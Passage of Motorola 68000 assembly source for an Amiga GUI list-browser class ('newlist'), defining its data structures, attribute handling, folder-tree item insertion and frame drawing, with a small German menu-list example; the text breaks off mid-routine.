contenttop UWORD oxNL_vertborders ; substract this from height to get contentheight UWORD oxNL_txheight ; stored here from screen rastport from SET drawinfo UWORD oxNL_titleheight UWORD oxNL_lineheight UWORD oxNL_arrowpos ; y-center arrow in line UWORD oxNL_feed ; pixel einzug pro folder level UWORD oxNL_contentleft ; border and spacing added UWORD oxNL_contenttop ; border, title and spacing added UWORD oxNL_contentwidth ; for dividing per column UWORD oxNL_contentheight ; for clipping UWORD oxNL_minlines UWORD oxNL_spacing UWORD oxNL_columns ; initially 1 APTR oxNL_drawinfo APTR oxNL_oldregion STRUCT oxNL_Region,rg_SIZEOF STRUCT oxNL_RegionRectangle,rr_SIZEOF APTR oxNL_prev APTR oxNL_next APTR oxNL_receiver ; points to sliderobject by default APTR oxNL_sliderobject APTR oxNL_selfptr ; for connection from slider to here STRUCT oxNL_list,MLH_SIZE ; chain of all visible nodes (calculated after each change) STRUCT oxNL_backbone,MLH_SIZE ; chain of ALL nodes UBYTE oxNL_flags UBYTE oxNL_flags2 UBYTE oxNL_senschar UBYTE oxNL_iflags UBYTE oxNL_altpen UBYTE oxNL_aligns ; each bit means colun # is right aligned APTR oxNL_topitem APTR oxNL_activeitem ; draw the dotted frame here APTR oxNL_selecteditem UWORD oxNL_lines ; visible lines, calced in setlayout UWORD oxNL_bodylines ; max fit lines w/ 1 half visible UWORD oxNL_items ; number of items in list ; UWORD oxNL_numsel ; number of selected items UWORD oxNL_offset ; visible entry nr from top down UWORD oxNL_inpos ; this is the selected line UWORD oxNL_activeinpos ; this is the cursor line UWORD oxNL_softpos ;UWORD oxNL_pixoffset UWORD oxNL_oldpixoffset UWORD oxNL_vdist ; paint items distance for soft in-line scrolling UWORD oxNL_scrollpix ULONG oxNL_userdata ULONG oxNL_seconds ; check for doubleclick ULONG oxNL_micros ; .. APTR oxNL_dchook ; called on doubleclick APTR oxNL_selhook ; called on select (when mouse button released) ; hooks get: a0 and a3 *list, a4 *base, a5 *class, a6 *oxbase ; (a1) *list, userdata.l, *item, item_userdata.l, itemnumber.w UWORD oxNL_propsum STRUCT oxNL_props,2*8 ; initially 100/columns STRUCT oxNL_widths,2*8 ; calculated from percents in SETLAYOUT STRUCT oxNL_arrow_right,bd_SIZEOF STRUCT oxNL_arrow_down,bd_SIZEOF LABEL oxNL_SIZEOF BITDEF oxNL,MENULOOK,0 ; e.g. for use in string-gadget with history function BITDEF oxNL,TITLES,1 ; draw column titles BITDEF oxNL,MULTISELECT,2 ; permanent multiselect BITDEF oxNL,SEPARATORS,3 BITDEF oxNL,SLIDER,4 BITDEF oxNL,BOLDTITLES,5 BITDEF oxNL,MAXED,6 BITDEF oxNL,SHIFTMULTI,7 ; allow multiselect when a shift key is hold down ; flags 2 (use alternate set/clear func!) BITDEF oxNL,ARROWCLICK,0 ; internal flags BITDEF oxNLi,ACTIVE,0 BITDEF oxNLi,REFRESHALL,1 BITDEF oxNLi,MULTISELECTED,2 BITDEF oxNLi,FOLDERS,3 oxNL_DEFAULTSLIDERWIDTH = $10 STRUCTURE oxNewListItem,0 STRUCT oxNLI_visible,LN_SIZE ; in list of the visible nodes STRUCT oxNLI_bone,LN_SIZE ; in list of ALL nodes, ; with pri and name (first column text) for sorting! STRUCT oxNLI_strings,4*8 ; max 8 columns STRUCT oxNLI_lenghts,2*8 STRUCT oxNLI_offsets,2*8 ; pixel dist of text if align is RIGHT ULONG oxNLI_userdata UWORD oxNLI_id APTR oxNLI_folder ; folder where this item is a member of UWORD oxNLI_numfold ; if # > 0 this is a foldern and the next # intems are in this folder UWORD oxNLI_indent ; pixel dist of content between left edge of list and first text letter LABEL oxNLI_SIZEOF oxNLI_flags = LN_TYPE oxNLI_name = LN_NAME ; for sorting. later add sort by column oxNLI_pri = LN_PRI ; for "dirs first" or such BITDEF oxNLI,SELECTED,0 BITDEF oxNLI,OFF,1 ; cannot select this, written ghosted, no click report BITDEF oxNLI,ALTCOLOR,2 BITDEF oxNLI,SEPARATOR,3 ; this entry is just a separator BITDEF oxNLI,OPEN,5 ; this folder is open BITDEF oxNLI,ARROW,6 ; allways draw the arrow, even if folder has no elements BITDEF oxNLI,ACTIVE,7 ; cursor here, can be toggled un/selcted with space ; rem item: sub one from its folders oxNLI_numfold, sub one from parent numfolds (*****) ; remove item and all following numfold items from visible list (clear link) and backbone list ; add item if no oxNLIA_folder is specified, add item at bottom of visible list and at bottom of backbone list, ; set numfold to 0 and indent to 0 and OPEN to 0 ; if oxNLIA_folder is specified - step numfold items forward from folder in backbone list ; and add there to backbone list, remember the node where added as folder_tail ; - add 1 to _folders' numfold and to all parent numfolds (*****) ; - if _folder is OPEN and its visible list node SUCC is != 0 ; step forward numfold elements in the visible list, ; if a closed folder is encountered sub its numfold from the ; loop counter and if that is 0 add item at pos ; - get indent from _folder, add one oxNL_feed and store in oxNLI_indent OXCLASS_VERSION = 1 OXCLASS_REVISION = 0 OXCLASSHEADER OXCLASS_NAME dc.b "newlist",0 OXCLASS_DESC dc.b "$VER: list browser v",$30+OXCLASS_VERSION,".",$30+OXCLASS_REVISION,0 OXCLASS_AUTHOR dc.b "Andreas G. Szabo",0 even OXCLASS_TAGS dc.l oxCA_objectsize,oxNL_SIZEOF dc.l oxCA_dispatcher,.dispatcher dc.l oxCA_description,OXCLASS_DESC dc.l oxCA_author,OXCLASS_AUTHOR dc.l oxCA_makeexample,.cr_example ; dc.l oxCA_basesize, ; dc.l oxCA_envarray, dc.l TAG_END .dispatcher cmp.w #OXM_SET,d1 beq NL_SET cmp.w #OXM_DRAW,d1 beq NL_DRAW cmp.w #OXM_UPDATE,d1 beq NL_UPDATE cmp.w #OXM_INTUIMESSAGE,d1 beq NL_INTUI cmp.w #OXM_GETLAYOUT,d1 beq NL_GETLAYOUT cmp.w #OXM_SETLAYOUT,d1 beq NL_SETLAYOUT cmp.w #OXM_ACTIVATE,d1 beq NL_ACTIVATE cmp.w #OXM_INACTIVE,d1 beq NL_INACTIVE cmp.w #OXM_DEINIT,d1 beq NL_DEINIT cmp.w #OXM_INIT,d1 beq NL_INIT cmp.w #OXM_SETDEF,d1 beq NL_SETDEF cmp.l #oxNLM_getitemtexts,d1 beq NL_getitexts cmp.w #oxNLM_getnextitem,d1 beq NL_getnextitem cmp.w #oxNLM_getitemuserdata,d1 beq NL_getitemuserdata ; cmp.w #oxNLM_deleteitem,d1 ; beq NL_delitem ; must remove from active item ptr before deleting item ! cmp.w #oxNLM_deselectitem,d1 beq NL_deselitem cmp.w #oxNLM_activate,d1 beq NL_activate cmp.w #oxNLM_sort,d1 beq NL_sort cmp.w #OXM_RELINK,d1 beq NL_RELINK cmp.w #OXM_LINKPRIV,d1 beq NL_LINKPRIV cmp.w #oxNLM_setitemtext,d1 beq NL_setitemtext cmp.w #OXM_GET,d1 beq NL_GET cmp.w #OXM_NEWPENS,d1 beq NL_NEWPENS cmp.w #oxNLM_unfold,d1 beq NL_openfolder cmp.w #oxNLM_fold,d1 beq NL_closefolder rts .cr_example lea .example(pc),a2 moveq #0,d2 jmp _LVOoxCreateObject(a6) .example dc.l OX_BUFFER,.buffer STRUCTURE newlistexample,0 APTR nlx_pages LABEL nlx_SIZEOF .buffer dc.l oxBfA_buffersize,nlx_SIZEOF dc.l OX_VERTGROUP,.vg_tags dc.l TAG_END .vg_tags dc.l OX_HORIZGROUP,.hz_tags dc.l OX_PAGES,.pages dc.l oxGA_vprop,1 dc.l oxGA_hprop,1 dc.l oxGA_minspace,2 dc.l TAG_END .pages dc.l oxPgA_newmember,.page1 dc.l oxPgA_newmember,.page2 dc.l oxPgA_redraw,TRUE dc.l OX_RELPTR,nlx_pages dc.l TAG_END .page1 dc.l OXCLASS_NAME,.newlist_tags .page2 dc.l OXCLASS_NAME,.menulist_tags .hz_tags dc.l OX_RADIO,.rad1 dc.l OX_LABEL,.lab1 dc.l OX_SPACE,.spc dc.l oxGA_spaceprop,0 dc.l oxGA_minspace,5 dc.l OX_RADIO,.rad2 dc.l OX_LABEL,.lab2 dc.l TAG_END .spc dc.l oxA_minwidth,20 dc.l oxA_propw,0 dc.l TAG_END .rad1 dc.l oxRadA_groupid,"OX" dc.l oxA_selected,TRUE dc.l oxRadA_senschar,"n" dc.l oxRadA_hook,.hook1 dc.l TAG_END .lab1 dc.l oxLabA_text,.tx1 dc.l oxLabA_linechar,1 dc.l TAG_END .rad2 dc.l oxRadA_groupid,"OX" dc.l oxRadA_senschar,"m" dc.l oxRadA_hook,.hook2 dc.l TAG_END .lab2 dc.l oxLabA_text,.tx2 dc.l oxLabA_linechar,1 dc.l TAG_END .hook1 moveq #1,d1 .hk0 move.l nlx_pages(a4),a0 move.l #oxPgA_number,d0 jmp _LVOoxSetAttr(a6) ; moveq #OXM_DRAW,d1 ; bra _oxDoMethod .hook2 moveq #2,d1 bra.b .hk0 .tx1 dc.b "newlook",0 .tx2 dc.b "menulook",0 even .newlist_tags dc.l oxNLA_menulook,FALSE dc.l oxNLA_separators,TRUE .l_common_tags dc.l oxNLA_proph,1 dc.l oxNLA_propw,1 dc.l oxNLA_columns,3 dc.l oxNLA_prop1,5 dc.l oxNLA_prop2,4 dc.l oxNLA_prop3,4 dc.l oxNLA_align,RIGHT2|RIGHT3 dc.l oxNLA_titles,TRUE dc.l oxNLA_boldtitles,TRUE dc.l oxNLA_multiselect,TRUE dc.l oxNLA_title1,.title1 dc.l oxNLA_title2,.title2 dc.l oxNLA_title3,.title3 dc.l oxNLA_item,.item1 dc.l oxNLA_item,.item2 dc.l oxNLA_item,.item3 dc.l TAG_END .menulist_tags dc.l oxNLA_menulook,TRUE dc.l oxNLA_slider,FALSE dc.l oxNLA_separators,FALSE dc.l TAG_MORE,.l_common_tags .title1 dc.b "Speise",0 .title2 dc.b "Abholpreis",0 .title3 dc.b "Lieferpreis",0 even .item1 dc.l oxNLIA_text1,.text11 dc.l oxNLIA_text2,.text12 dc.l oxNLIA_text3,.text13 dc.l TAG_END .item2 dc.l oxNLIA_text1,.text21 dc.l oxNLIA_text2,.text22 dc.l oxNLIA_text3,.text23 dc.l TAG_END .item3 dc.l oxNLIA_text1,.text31 dc.l oxNLIA_text2,.text32 dc.l oxNLIA_text3,.text33 dc.l TAG_END .text11 dc.b "Suppe",0 .text12 dc.b "3,00",0 .text13 dc.b "4,00",0 .text21 dc.b "Nudeln",0 .text22 dc.b "5,70",0 .text23 dc.b "6,80",0 .text31 dc.b "Sushi",0 .text32 dc.b "10,90",0 .text33 dc.b "12,50",0 even NL_SETDEF move.b #oxNLF_SEPARATORS|oxNLF_SLIDER,oxNL_flags(a0) move.l #$00400040,oxNL_minwidth(a0) move.w #oxNL_DEFAULTSLIDERWIDTH,oxNL_sliderwidth(a0) move.w #1,oxNL_separatorwidth(a0) move.w #2,oxNL_spacing(a0) move.w #5,oxNL_minlines(a0) move.w #1,oxNL_columns(a0) ; init pointers move.l a0,oxNL_selfptr(a0) ; slider points here lea oxNL_list(a0),a0 NEWLIST a0 lea oxNL_backbone(a3),a0 NEWLIST a0 ; init proportional column widths to equal lea oxNL_props(a3),a1 moveq #7,d0 .lp move.w #1,(a1)+ dbf d0,.lp ; set default line indent per tree sublevel move.w #12,oxNL_feed(a3) ; init arrows border structures lea arrow_down(pc),a0 lea oxNL_arrow_down(a3),a1 move.l (a0)+,(a1)+ move.l (a0)+,(a1)+ move.l (a0)+,(a1) lea arrow_right(pc),a0 lea oxNL_arrow_right(a3),a1 move.l (a0)+,(a1)+ move.l (a0)+,(a1)+ move.l (a0)+,(a1) rts NL_NEWPENS ; use black pen to draw this arrows move.b oxPT_blackpen(a1),oxNL_arrow_down+bd_FrontPen(a3) move.b oxPT_blackpen(a1),oxNL_arrow_right+bd_FrontPen(a3) rts ; arrow border datas arrow_down ; black dc.w 0,0 ; left, top dc.b 1,0,0,4 ; front-pen, back-pen, drawmode, xy-count dc.l .coords dc.l 0 .coords dc.w 1,4 dc.w 6,9 dc.w 11,4 dc.w 1,4 arrow_right ; black dc.w 0,0 ; left, top dc.b 1,0,0,4 ; front-pen, back-pen, drawmode, xy-count dc.l .coords dc.l 0 .coords dc.w 4,1 dc.w 4,11 dc.w 9,6 dc.w 4,1 NL_GET move.l (a1),d1 cmp.w #oxNLA_titleheight,d1 bne .rts btst #oxNLB_TITLES,oxNL_flags(a0) ; no height if no title beq .rts move.w oxNL_txheight(a3),d0 addq.w #2,d0 ; top borders addq.w #3,d0 ; spacing im title, oben 2 und unten 1 subq.w #1,d0 ; black border btst #oxNLB_MENULOOK,oxNL_flags(a0) bne.b .newlook add.w #3,d0 ; old look title top and bottom border bra.b .rts .newlook addq.w #2,d0 ; new look title bottom border .rts rts NL_SET movem.l (a1),d0/d1/a1 cmp.w #oxA_prev,d0 bne.b .next move.l d1,oxNL_prev(a0) rts .next cmp.w #oxA_next,d0 bne .itemtext2 move.l d1,oxNL_next(a0) rts .itemtext2 cmp.w #oxNLA_itemtext2,d0 bne.b .softpos moveq #1,d2 bra nl_sit .softpos cmp.w #oxNLA_softpos,d0 bne.b .minwidth move.w d1,oxNL_softpos(a0) .rts1 rts .minwidth cmp.w #oxNLA_minwidth,d0 bne.b .minheight move.w d1,oxNL_minwidth(a0) rts .minheight cmp.w #oxNLA_minheight,d0 bne.b .propw move.w d1,oxNL_minheight(a0) rts .propw cmp.w #oxNLA_propw,d0 bne.b .proph move.w d1,oxNL_propw(a0) rts .proph cmp.w #oxNLA_proph,d0 bne.b .minlines move.w d1,oxNL_proph(a0) rts .minlines cmp.w #oxNLA_minlines,d0 bne.b .columns move.w d1,oxNL_minlines(a0) rts .columns cmp.w #oxNLA_columns,d0 bne.b .senschar move.w d1,oxNL_columns(a0) rts .senschar cmp.w #oxNLA_senschar,d0 bne.b .dchook move.b d1,oxNL_senschar(a0) rts .dchook cmp.w #oxNLA_dchook,d0 bne.b .selhook move.l d1,oxNL_dchook(a0) rts .selhook cmp.w #oxNLA_selhook,d0 bne.b .newlook move.l d1,oxNL_selhook(a0) rts .newlook cmp.w #oxNLA_menulook,d0 bne.b .aligns moveq #oxNLF_MENULOOK,d0 .flag tst.w d1 beq .clearflag or.b d0,oxNL_flags(a0) rts .clearflag not.w d0 and.b d0,oxNL_flags(a0) rts .aligns cmp.w #oxNLA_align,d0 bne.b .titles move.b d1,oxNL_aligns(a0) rts .titles cmp.w #oxNLA_titles,d0 bne.b .multiselect moveq #oxNLF_TITLES,d0 bra.b .flag .multiselect cmp.w #oxNLA_multiselect,d0 bne.b .shiftmulti moveq #oxNLF_MULTISELECT,d0 bra.b .flag .shiftmulti cmp.w #oxNLA_shiftmulti,d0 bne.b .separators move.b #oxNLF_SHIFTMULTI,d0 bra.b .flag .separators cmp.w #oxNLA_separators,d0 bne.b .slider moveq #oxNLF_SEPARATORS,d0 bsr.b .flag tst.w d1 beq.b .clr_spw move.w #1,oxNL_separatorwidth(a0) rts .clr_spw clr.w oxNL_separatorwidth(a0) rts .slider cmp.w #oxNLA_slider,d0 bne.b .boldtitles moveq #oxNLF_SLIDER,d0 bsr.b .flag tst.w d1 beq.b .clr_sw move.w #oxNL_DEFAULTSLIDERWIDTH,oxNL_sliderwidth(a0) rts .clr_sw clr.w oxNL_sliderwidth(a0) rts .boldtitles cmp.w #oxNLA_boldtitles,d0 bne.b .maxed moveq #oxNLF_BOLDTITLES,d0 bra.b .flag .maxed cmp.w #oxNLA_maxed,d0 bne.b .perc1 moveq #oxNLF_MAXED,d0 bra.b .flag .perc1 cmp.w #oxNLA_prop1,d0 bne.b .perc2 move.w d1,oxNL_props(a0) rts .perc2 cmp.w #oxNLA_prop2,d0 bne.b .perc3 move.w d1,oxNL_props+2(a0) rts .perc3 cmp.w #oxNLA_prop3,d0 bne.b .perc4 move.w d1,oxNL_props+2*2(a0) rts .perc4 cmp.w #oxNLA_prop4,d0 bne.b .perc5 move.w d1,oxNL_props+3*2(a0) rts .perc5 cmp.w #oxNLA_prop5,d0 bne.b .perc6 move.w d1,oxNL_props+4*2(a0) rts .perc6 cmp.w #oxNLA_prop6,d0 bne.b .perc7 move.w d1,oxNL_props+5*2(a0) rts .perc7 cmp.w #oxNLA_prop7,d0 bne.b .perc8 move.w d1,oxNL_props+6*2(a0) rts .perc8 cmp.w #oxNLA_prop8,d0 bne.b .titletexts move.w d1,oxNL_props+7*2(a0) rts .titletexts cmp.w #oxNLA_title1,d0 blt.b .dri cmp.w #oxNLA_title8,d0 bgt.b .dri sub.w #oxNLA_title1,d0 ; calc title lenght move.l d1,a0 moveq #-1,d2 .l_lp tst.b (a0)+ dbeq d2,.l_lp not.w d2 move.w d2,oxNL_titlelenghts(a3,d0.w) add.w d0,d0 move.l d1,oxNL_titles(a3,d0.w) rts .dri cmp.l #oxA_drawinfo,d0 bne.b .item move.l d1,oxNL_drawinfo(a0) move.l d1,a1 move.l oxDI_rastport(a1),a1 move.w rp_TxHeight(a1),oxNL_txheight(a3) rts .item cmp.w #oxNLA_item,d0 beq.b NL_new_item .rts rts NL_new_item move.l d1,a2 moveq #0,d2 ; default append mode is at tail moveq #0,d4 ; default is not in a folder (add at top level) moveq #oxNLI_SIZEOF,d0 bsr alloc_mem beq .rts move.l d0,a4 .tag_loop bsr get_a_tag ; to d0/d1 beq.b .init cmp.w #oxNLIA_id,d0 bne.b .userd move.w d1,oxNLI_id(a4) bra.b .tag_loop .userd cmp.w #oxNLIA_userdata,d0 blt.b .texts bne.b .prev move.l d1,oxNLI_userdata(a4) bra.b .tag_loop .prev ; append mode cmp.w #oxNLIA_previtem,d0 bne.b .folder move.l d1,d2 ; store append mode bra.b .tag_loop .folder ; insert into folder mode cmp.w #oxNLIA_folder,d0 bne.b .separator move.l d1,d4 ; store folder bset #oxNLiB_FOLDERS,oxNL_iflags(a3) bra.b .tag_loop .separator cmp.w #oxNLIA_separator,d0 bne.b .selected moveq #oxNLIF_SEPARATOR,d0 bra.b .flag .selected cmp.w #oxNLIA_selected,d0 bne.b .altcolor moveq #oxNLIF_SELECTED,d0 tst.w d1 beq.b .flag move.l a4,oxNL_selecteditem(a0) ; muss sichtbar sein? ; add.w #1,oxNL_numsel(a0) bra.b .flag .altcolor cmp.w #oxNLIA_altcolor,d0 bne.b .off moveq #oxNLIF_ALTCOLOR,d0 bra.b .flag .off cmp.w #oxNLIA_off,d0 bne.b .pri moveq #oxNLIF_OFF,d0 bra.b .flag .pri cmp.w #oxNLIA_pri,d0 bne.b .tag_loop move.b d1,oxNLI_pri(a4) bra.b .tag_loop .flag tst.w d1 beq .clearflag or.b d0,oxNLI_flags(a4) bra.b .tag_loop .clearflag not.w d0 and.b d0,oxNLI_flags(a4) bra.b .tag_loop .texts sub.w #OX_ATTRIBS_CLASS,d0 ; is step 2 ; calc string lenght moveq #-1,d3 move.l d1,a1 .l_lp tst.b (a1)+ dbeq d3,.l_lp not.w d3 move.w d3,oxNLI_lenghts(a4,d0.w) ; write *string into NewListItem lsl.w #1,d0 ; x2 = step 4 move.l d1,oxNLI_strings(a4,d0.w) ; if it is the leftmost string, write * into LN_NAME for sorting tst.w d0 bne.b .tag_loop move.l d1,oxNLI_name(a4) bra.b .tag_loop .init ; the first item is never in a folder and if this is the first item make it the top one tst.l oxNL_topitem(a3) bne.b .add move.l a4,oxNL_topitem(a3) .add move.l d4,oxNLI_folder(a4) bne .add_to_folder addq.w #1,oxNL_items(a3) lea oxNL_list(a3),a0 move.l a4,a1 ADDTAIL lea oxNL_backbone(a3),a0 lea oxNLI_bone(a4),a1 ADDTAIL bra .return_ptr ; add item if no oxNLIA_folder is specified, add item at bottom of visible list and at bottom of backbone list, ; set numfold to 0 and indent to 0 and OPEN to 0 ; if oxNLIA_folder is specified - step numfold items forward from folder in backbone list ; and add there to backbone list, remember the node where added as folder_tail ; - add 1 to _folders' numfold and to all parent numfolds (*****) ; - if _folder is OPEN and its visible list node SUCC is != 0 ; step forward numfold elements in the visible list, ; if a closed folder is encountered sub its numfold from the ; loop counter and if that is 0 add item at pos ; - get indent from _folder, add one oxNL_feed and store in oxNLI_indent .add_to_folder ; folder in d4 move.l d4,a0 lea oxNLI_bone(a0),a0 move.w oxNLI_numfold-oxNLI_bone(a0),d0 beq .insert subq.w #1,d0 .find_tail move.l (a0),a0 dbf d0,.find_tail .insert ; insert node a4 after node a0 lea oxNLI_bone(a4),a1 move.l MLN_SUCC(a0),a2 move.l a2,MLN_SUCC(a1) move.l a1,MLN_SUCC(a0) move.l a1,MLN_PRED(a2) move.l a0,MLN_PRED(a1) ; shift item more to the right in pixels, starting from folders pixpos move.l d4,a0 move.w oxNLI_indent(a0),d0 add.w oxNL_feed(a3),d0 move.w d0,oxNLI_indent(a4) ; add 1 to folders numfold addq.w #1,oxNLI_numfold(a0) ; add 1 to all parent folders move.l a0,a2 .parent_lp move.l oxNLI_folder(a2),d0 beq .if_open move.l d0,a2 addq.w #1,oxNLI_numfold(a2) bra.b .parent_lp .if_open ; if folder ist open and visible btst #oxNLIB_OPEN,oxNLI_flags(a0) beq .return_ptr tst.l oxNLI_visible(a0) beq .return_ptr addq.w #1,oxNL_items(a3) ; insert item at correct pos in visible list move.w oxNLI_numfold(a0),d0 .find_vis_end subq.w #1,d0 beq .insert_vis move.l (a0),a0 btst #oxNLIB_OPEN,oxNLI_flags(a0) bne.b .find_vis_end sub.w oxNLI_numfold(a0),d0 bra .find_vis_end .insert_vis ; insert node a4 at pos a0 move.l MLN_SUCC(a0),a2 move.l a2,MLN_SUCC(a4) move.l a1,MLN_SUCC(a0) move.l a1,MLN_PRED(a2) move.l a0,MLN_PRED(a4) .return_ptr bsr NL_refresh move.l a4,d0 .rts rts ; open folder set folder OPEN to 1, if folder has visible link true: step all numfold items foward in backbone, ; add the item to visible list at prev pos ; if that item is a closed folder, sub its numfold from ; the counter and skip next numfold items in backbone NL_openfolder ; a1 folder bset #oxNLIB_OPEN,oxNLI_flags(a1) bne .rts tst.l oxNLI_visible(a1) beq .rts move.w oxNLI_numfold(a1),d0 beq .rts .add_loop subq.w #1,d0 bmi .rf move.l a1,a0 lea oxNLI_bone(a1),a1 move.l (a1),a1 lea -oxNLI_bone(a1),a1 .add_in_loop ; add item in folder to visible list move.l MLN_SUCC(a0),a2 move.l a2,MLN_SUCC(a1) move.l a1,MLN_SUCC(a0) move.l a1,MLN_PRED(a2) move.l a0,MLN_PRED(a1) ; add 1 to number of visible items addq.w #1,oxNL_items(a3) ; see if folder is closed btst #oxNLIB_OPEN,oxNLI_flags(a1) bne .add_loop move.w oxNLI_numfold(a1),d1 beq .add_loop sub.w d1,d0 beq .rf subq.w #1,d0 move.l a1,a0 lea oxNLI_bone(a1),a1 .skip_loop move.l (a1),a1 dbf d1,.skip_loop lea -oxNLI_bone(a1),a1 bra .add_in_loop .rf bsr NL_refresh .rts rts ; close folder set folder OPEN to FALSE, remove all numfold items from visible list if linked, clear their SUCC pointers NL_closefolder ; a1 folder bclr #oxNLIB_OPEN,oxNLI_flags(a1) beq .rts tst.l oxNLI_visible(a1) beq .rts move.l a1,a2 move.w oxNLI_numfold(a2),d0 beq .rts subq.w #1,d0 move.l (a2),a2 .forward move.l a2,a1 REMOVE subq.w #1,oxNL_items(a3) btst #oxNLIB_OPEN,oxNLI_flags(a2) bne .get_next sub.w oxNLI_numfold(a2),d0 .get_next move.l a2,a1 move.l (a2),a2 clr.l oxNLI_visible(a1) dbf d0,.forward bsr NL_refresh .rts rts NL_setitemtext move.w oxNLSIT_column(a1),d2 move.l oxNLSIT_text(a1),d1 move.l oxNLSIT_item(a1),a1 nl_sit lsl.w #2,d2 moveq #0,d0 move.l d1,oxNLI_strings(a1,d2.w) beq .setl move.l d1,a0 moveq #-1,d0 .len_lp tst.b (a0)+ dbeq d0,.len_lp not.w d0 .setl lsr.w #1,d2 move.w d0,oxNLI_lenghts(a1,d2.w) ; check if we are on screen move.l oxNL_drawinfo(a3),d0 beq.b .rts1 move.l d0,a0 btst #oxDIB_WINDOWOPEN,oxDI_flags(a0) beq .rts1 ; redraw moveq #0,d0 move.l oxNL_topitem(a3),a0 .lp cmp.l a0,a1 beq.b .redraw_line add.w #1,d0 cmp.w oxNL_lines(a3),d0 beq.b .rts1 move.l (a0),a0 tst.l (a0) beq .rts1 bra.b .lp .redraw_line moveq #1,d1 moveq #TRUE,d7 bra NL_draw_items_rf .rts1 rts NL_getnextitem ; a1 *previtem or null means get first item move.l a1,d0 bne .getnext move.l oxNL_backbone(a3),a1 tst.l (a1) bne.b .return_item .return_null moveq #0,d0 rts .getnext lea oxNLI_bone(a1),a1 move.l (a1),a1 tst.l (a1) beq.b .return_null .return_item lea -oxNLI_bone(a1),a1 move.l a1,d0 rts NL_getitemuserdata move.l oxNLI_userdata(a1),d0 rts NL_getitexts lea oxNLI_strings(a1),a0 move.l a0,d0 rts NL_deselitem bclr #oxNLIB_SELECTED,oxNLI_flags(a1) clr.l oxNL_selecteditem(a3) rts NL_activate move.l oxNL_list(a3),d0 beq.b .rts move.l d0,a1 tst.l (a1) beq.b .rts bset #oxNLiB_ACTIVE,oxNL_iflags(a3) move.l a1,oxNL_activeitem(a3) ; move.l a1,oxNL_topitem(a3) bset #oxNLIB_ACTIVE,oxNLI_flags(a1) .rts rts NL_INIT ; build sum of all columns prop width values lea oxNL_props(a0),a1 moveq #0,d1 move.w oxNL_columns(a0),d0 subq.w #1,d0 .lp add.w (a1)+,d1 dbf d0,.lp move.w d1,oxNL_propsum(a0) ; init clip region lea oxNL_RegionRectangle(a0),a1 move.l a1,oxNL_Region+rg_RegionRectangle(a0) ; create and set up slider btst #oxNLB_SLIDER,oxNL_flags(a3) beq .rts_ok move.l a3,a1 ; base lea .slider_tags(pc),a2 move.l #OX_SLIDER,d2 jsr _LVOoxCreateObject(a6) move.l d0,oxNL_sliderobject(a3) beq .rts_fail push d0 move.l d0,a1 lea oxO_list(a3),a0 ADDTAIL pop a0 ; get back *sliderobject move.l #oxA_drawinfo,d0 move.l oxNL_drawinfo(a3),d1 jsr _LVOoxSetAttr(a6) .rts_ok moveq #1,d0 rts .rts_fail moveq #-1,d0 rts .slider_tags dc.l oxSlA_flags,oxSlF_pattern dc.l OX_CONNECT,.proptolist dc.l TAG_END .proptolist dc.l oxCCA_target,oxNL_selfptr|OX_REL dc.l oxCCA_attr,oxSlA_softval dc.l oxCCA_newattr,oxNLA_softpos dc.l TAG_END NL_DEINIT ; dealloc all items move.l oxNL_backbone+LH_HEAD(a0),d0 beq .rts move.l d0,a2 .del_lp tst.l (a2) beq.b .rts lea -oxNLI_bone(a2),a0 move.l LN_SUCC(a2),a2 moveq #oxNLI_SIZEOF,d0 bsr free_mem bra .del_lp .rts rts NL_DRAW ; draw frame, titles and separators move.l oxNL_drawinfo(a3),a1 move.l oxDI_rastport(a1),a2 move.l oxDI_pentable(a1),a5 move.l a6,a4 btst #oxNLB_MENULOOK,oxNL_flags(a3) beq.b .old_look ; new look move.b oxPT_blackpen(a5),d4 move.b d4,d5 movem.w oxNL_left(a3),d0-d3 add.w d0,d2 add.w d1,d3 subq.w #1,d2 subq.w #1,d3 ; sliderwidth is 0 if no slider sub.w oxNL_sliderwidth(a3),d2 jsr _LVOoxBevelBorder(a6) addq.w #1,d0 addq.w #1,d1 subq.w #1,d3 subq.w #1,d2 ; titleheight is 0 if no title add.w oxNL_titleheight(a3),d1 move.b oxPT_shinepen(a5),d4 move.b oxPT_darkpen(a5),d5 jsr _LVOoxBevelBorder(a6) addq.w #1,d0 addq.w #1,d1 subq.w #1,d3 subq.w #1,d2 movem.w d0/d1,-(a7) move.l oxB_gfxbase(a4),a6 move.b oxPT_listpen(a5),d0 move.l a2,a1 jsr _LVOSetAPen(a6) movem.w (a7)+,d0/d1 move.l a2,a1 jsr _LVORectFill(a6) bra.b .both_looks .old_look move.b oxPT_shinepen(a5),d5 move.b oxPT_darkpen(a5),d4 movem.w oxNL_left(a3),d0-d3 add.w d0,d2 add.w d1,d3 subq.w #1,d2 subq.w #1,d3 jsr _LVOoxBevelBorder(a6) addq.w #1,d0 addq.w #1,d1 subq.w #1,d3 subq.w #1,d2 move.b oxPT_blackpen(a5),d4 move.b d4,d5 jsr _LVOoxBevelBorder(a6) addq.w #1,d0 addq.w #1,d1 subq.w #1,d3 subq.w #1,d2 movem.w d0/d1,-(a7) move.l oxB_gfxbase(a4),a6 move.b oxPT_listpen(a5),d0 move.l a2,a1 jsr _LVOSetAPen(a6) movem.w (a7)+,d0/d1 move.l a2,a1 jsr _LVORectFill(a6) .both_looks ; titles box btst #oxNLB_TITLES,oxNL_flags(a3) beq.b .content movem.w oxNL_left(a3),d0/d1/d2 addq.w #1,d0 ; skip black border addq.w #1,d1 add.w d0,d2 subq.w #3,d2 ; sub black border and 1 btst #oxNLB_MENULOOK,oxNL_flags(a3) bne.b .sub_slider addq.w #1,d0 addq.w #1,d1 subq.w #1,d2 .sub_slider sub.w oxNL_sliderwidth(a3),d2 move.w d1,d3 subq.w #1,d3 add.w oxNL_titleheight(a3),d3 move.b oxPT_shinepen(a5),d4 move.b oxPT_darkpen(a5),d5 move.l a4,a6 jsr _LVOoxBevelBorder(a6) ; titles background w/ image addq.w #1,d0 addq.w #1,d1 subq.w #1,d2 subq.w #1,d3 move.l oxNL_drawinfo(a3),a1 btst #oxBB_USEBGIMAGES,oxB_configflags(a6) beq.b .penfill move.l oxDI_imagetable(a1),a1 btst #oxNLB_MENULOOK,oxNL_flags(a3) beq.b .ti move.l oxIT_menusimage(a1),d6 bne.b .ifill .ti move.l oxIT_titlesimage(a1),d6 beq.b .penfill .ifill move.l d6,a0 move.w d0,d4 move.w d1,d5 move.l a2,a1 jsr _LVOoxImageFill(a6) bra.b .black_line .penfill ; titles background w/color movem.w d0/d1,-(a7) move.l oxB_gfxbase(a4),a6 move.b oxPT_listpen(a5),d0 move.l a2,a1 jsr 